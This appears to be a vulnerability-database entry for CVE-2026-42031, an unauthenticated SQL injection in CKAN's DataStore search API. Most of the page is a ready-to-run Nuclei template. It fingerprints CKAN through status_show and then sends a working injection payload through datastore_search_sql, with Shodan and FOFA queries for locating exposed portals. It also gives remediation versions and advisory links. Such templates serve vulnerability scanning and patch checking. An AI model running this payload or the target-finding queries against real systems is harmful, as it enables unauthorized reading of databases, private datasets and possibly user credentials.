CVE-2026-42031: CKAN DataStore SQL Search - SQL Injection

2026-05-09 CKAN DataStore PoC Public

Description

CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.

PoC

id: CVE-2026-42031

info:
  name: CKAN DataStore SQL Search - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.
  impact: |
    An unauthenticated attacker can read arbitrary data from the PostgreSQL database including system catalog tables, private DataStore resources, and potentially user credentials.
  remediation: |
    Upgrade CKAN to version 2.10.10 or 2.11.5 or later.
  reference:
    - https://github.com/advisories/GHSA-h7j7-3rx6-xvcg
    - https://github.com/ckan/ckan/security/advisories/GHSA-h7j7-3rx6-xvcg
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-42031
    epss-score: 0.01817
    epss-percentile: 0.77612
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.title:"CKAN"
    fofa-query: title="CKAN"
  tags: cve,cve2026,ckan,sqli,datastore,unauth,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/action/status_show"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "ckan_version"
          - '"success": true'
        condition: and
        internal: true

      - type: status
        status:
          - 200
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/action/datastore_search_sql?sql=SELECT+ts_rewrite('a'::tsquery,+'SELECT+''a''::tsquery,+(SELECT+current_database())::tsquery')"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"success": true'
          - "ts_rewrite"
          - "records"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220525bd274de36f86c55089b555014d5d785b0551f5ce1440e93e282ea82dad06902206c7c0e6ea2d77e60a6cedcec304ed8bd538a130935c2dc6771c1159bafafd3ac:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities